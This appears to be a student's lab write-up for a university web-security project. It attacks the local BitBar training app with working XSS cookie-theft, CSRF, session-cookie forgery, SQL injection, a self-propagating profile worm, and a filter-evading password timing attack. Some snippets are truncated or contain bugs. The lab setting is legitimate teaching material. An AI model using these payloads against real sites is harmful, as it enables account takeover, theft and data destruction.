Project 2: Web Attacks & Defenses

Julian Cooper jelc@stanford.edu
AA228/CS238, Stanford University

1. Alpha: Cookie Thefit

Idea: Attacker has access to some part of the BitBar user profile webpage and wants to insert a link to url that steals the user's cookie, but otherwise appears to just refresh the page.

Exploit: We need to specify the url that our user would click to execute the cookie theft.

```
http://localhost:3000/profile?username=<p hidden>
<script>
    var xhr = new XMLHttpRequest();
    var url = 'http://localhost:3000/steal_cookie?cookie='%2B document.cookie;
    xhr.open("GET", url);
    xhr.send();
</script>
```

Working notes:

- Recognize we can insert `http://localhost:3000/profile?username=<valid user>` and switch between user profiles after logged in. If the username given is invalid, it produces an error message that we want to avoid. We do this by passing `<p hidden>` (without closing html tag) to hide the long script we are passing to the username field.
- Open a GET request to the localhost:3000 url and pass `steal_cookie` key with cookie information from the DOM included as the value. Note, we will need to pass the bulk of the url as a string, except the document.cookie fucntion call which we can concatenate with `''%2Bcookie`, `''`\cookie+, or `''.concat(cookie)`.
- Declare two the two variables we need to execute this: xhr (our `HttpRequest()` variable) and url to send request to. Finally, send GET request to url we have specified. We should see the session cookie printed in plaintext from the network terminal.

2. Bravo: Cross-Site Request Forgery

Idea: Attacker builds a website wants to build a malicious website which (when visited) steals some Bitbar from another user. After the theft, the user is redirected to `https://cs155.stanford.edu`.

Exploit: We need to design a self-contianed HTML page (`b.html`) that sends a post transfer request to the BitBar server with our logged in user credentials and appropriate header.

```
<script>
```

```
    var args = "destination_username=attacker&quantity=10";
    var xhr = new XMLHttpRequest();
    xhr.withCredentials = true;
    xhr.onload = () => window.location="https://cs155.stanford.edu/";
    xhr.open("POST", "http://localhost:3000/post_transfer");
    xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
    xhr.send(send_args);
</script>
```

Working notes:

- Open a new http post request to `http://localhost:3000/post_transfer` and prepare send arguments: `destination_username` and `quantity=10`.
- Set with credentials to true to allow cookies to be sent with request and set request header to `x-www-form-urlencoded` to specify the type of data we are sending (&, =).
- Redirect user to `https://cs155.stanford.edu/` after the request is sent using onload function call.

3. Charlie: Session Hijacking with Cookies

Idea: Want to trick Bitbar server into thinking you are logged in as a different user by hijacking the victim's session cookie.

Exploit: Start attack logged in as `attacker` and execute script in browser console to trick Bitbar into switching you onto `user1`'s account from which you can use the web UI to transfer 10 Bitbar to `attacker`.

```
var sessObj = JSON.parse(atob(document.cookie.substring(8)));
sessObj.account.username = "user1";
sessObj.account.bitbars = 200;
document.cookie = "session=" + btoa(JSON.stringify(sessObj));
```

Working notes:

- Recognize that session cookie is stored in the DOM as ascii (base64) and can be accessed from the browser console. Isolate session cookie ascii using substring() function, convert from base64 to binary string and use JSON.parse() to convert into a Javascript object. Assign session cookie object to new variable `sessObj`.
- Change the username and bitbars fields of the session cookie object to the desired values. Convert back to base64 string using JSON.stringify() and btoa() functions.
- Finally, reassign document.cookie to new session cookie string and reload the page. We should now be recognized as `user1` and able to navigate to transfer page and pay `attacker` 10 Bitbar.

4. Delta: Cooking the Books with Cookies

Idea: Want to forge 1 million new Bitbar rather than steal from other users.

Exploit: Begin attack by creating a new user and insert Javascript commands into the console such that after a small initial transaction, our new user's balance jumps up to 1 million Bitbar.

```
    var sessObj = JSON.parse(atob(document.cookie.substring(8)));
    sessObj.account.bitbars = 1e6 + 1;
    document.cookie = "session="+btoa(JSON.stringify(sessObj));
```

Working notes: identical strategy and function calls to exploit charlie. We end up with 1e6 + 1 Bitbar in our account *before* reloading the page and exactly 1e6 after a transfer of 1 Bitbar to any other valid user.

5. Echo: SQL Injection

Idea: Want to execute malicious SQL against the backend database that powers the Bitbar application. In particular, we want to remove another user (`user3`) from the app's database.

Exploit: Design a username that executes malicious SQL when the grader attempts to create a new user account with your provided username.

Recall the app's account close routine constructs SQL statements with user input:

```
router.get('/close', asyncMiddleware(async (req, res, next) => {
    if(req.session.loggedIn == false) {
        render(req,
               res,
               next,
               'login/form',
               'Login',
               'You must be logged in to use this feature!');
        return;
    };
    const db = await dbPromise;
    const query = `DELETE FROM Users WHERE username == "${req.session.account.username}";`;
    await db.get(query);
    req.session.loggedIn = false;
    req.session.account = {};
    render(req, res, next, 'index', 'Bitbar Home', 'Deleted account successfully!');
}));
```

We provide the following statement as our new user's username:

```
    " OR username == "user3
```

Working notes:

- The SQL statement that is executed is of the form: `DELETE FROM Users WHERE username == "" OR username == "user3";`.
- The first part of the statement deletes the user with the username `""` (empty string) which is the user that is currently logged in.
- The second part fohe boolean resolves to be true for "user3" and so remove login information for that user as well.

6. Foxtrot: Profile Worm

Idea: Want to develop a Worm that steals Bitbar *and* spreads to other accounts.

Exploit: To do this, we want to construct a malicious profile that, when visited, transfers 1 Bitbar from the logged-in user (e.g. `user1`) to the attacker and replaces the profile of the current user with itself. When a subseuqent user (e.g. `user2`) visitied `user1`'s profile, the same malicious script is executed and the worm spreads.

```
<span id="bitbar_count" class="10"/>
<script>
    // PART 1: steal one bitbar
var xhr1 = new XMLHttpRequest();
xhr1.open('POST', 'http://localhost:3000/post_transfer');

xhr1.withCredentials = true;
xhr1.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');

var args1 = 'destination_username=attacker&quantity=1';

// PART 2: change their profile

// step 1: find text content of the profile we're currently viewing in DOM
// the form in profile/view.ejs
let viewingProfile = document.getElementById('profile').innerHTML;

xhr1.onload = function() {
// step 2: send second post request
// JS equivalent of hitting the "Update profile" button
var xhr2 = new XMLHttpRequest();
xhr2.open('POST', 'http://localhost:3000/set_profile');
xhr2.withCredentials = true;

// urlencoded is just a type of encoding, doesn't mean it's stored in url
xhr2.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
var reqBody = 'new_profile=' + encodeURIComponent(viewingProfile);

xhr2.onload = function() {
let elem = document.getElementById("bitbar_display");
elem.innerHTML = "10 bitbars";
}

xhr2.send(reqBody);
}

xhr1.send(args1);
</script>
```

Working notes:

- The first part of the exploit steals one bitbar as in exploit Bravo
- That is, it uses CSRF to send a request to the `/post_transfer` endpoint, with attacker as its user destination
- The second part of the exploit implements the worm behavior by copying over the text of the profile that is being viewed to the user's own profile
- A final feature of the exploit is that, after the new profile is loaded, it doesn't show the true bitbar count but it shows 10 bitbars
- It does so by setting that p tag's innerHTML to "10 bitbars", and by adding a span element to prevent the JS that handles the counting animation from overwriting it.
- That piece of JS code only counts up to the integer represented by the class property of the span element with id "bitbar_count".

7. Gamma: Password Extraction via Timing Attack

Idea: Measure how long it takes for the server to respond to login attempts with different passwords to deduce which password is the correct one. Hint: it's the password that causes about a 4x increase in the server's response time.

Exploit: Insert JS in the username field to send login requests trying each of the passwords in the provided dictionary. Then send the password of the one that took the longest to the attacker-controlled `steal_password` endpoint.

```
<span style='display:none'>
  <iMg id='test'/>
  <scRIPt>
    var dictionary = [`password`, `123456`, `12345678`, `dragon`, `1234`, `qwerty`, `12345`
    var dictLen = dictionary.length;
    var index = 0;
    var currPasswd = dictionary[index];

    var slowestPwdTime = -1;
    var bestGuess;

    var test = document.getElementById(‘test‘);

    test.onerror = () => {
      var end = new Date();

      if (index < dictLen) {
        var duration = end-start;

        if (duration > slowestPwdTime) {
            bestGuess = currPasswd;
            slowestPwdTime = duration;
        }

        index += 1;
        currPasswd = dictionary[index];

        start = new Date();
        test.src = ‘http://localhost:3000/get_login?username=userx&password=‘ + currPasswd;
      } else {
        var url = ‘http://localhost:3000/steal_password?password=‘ + bestGuess + ‘&timeElap

        var xhr = new XMLHttpRequest();
        xhr.open(‘GET‘, url);
        xhr.send();
      }
    };

    var start = new Date();

    test.src = ‘http://localhost:3000/get_login?username=userx&password=‘ + currPasswd;

    index += 1;
    currPasswd = dictionary[index];
  </scRIPt>
</span>
```

Working notes:

- When `test.src` is set, it leads to `onerror()` being called (asked TAs and they're unsure why, seems like valid request).

- It then loops on the `onerror()` function until every word in the dictionary has been tried (the `img.src` in `onerror()` leads it to loop)
- Each iteration, it tries a different password and records the time it takes server
- Once it tried all of them, it sends its best guess (simply the password that took the longest to solicit response) to an attacker-controlled endpoint
- To escape the server's attempts to get rid of `script` and `img` tags, it mixes in capitalized letters into the HTML tags
- HTML is case insensitive so HTML still reads them correctly, but they no longer match the server code's regex so they're not removed.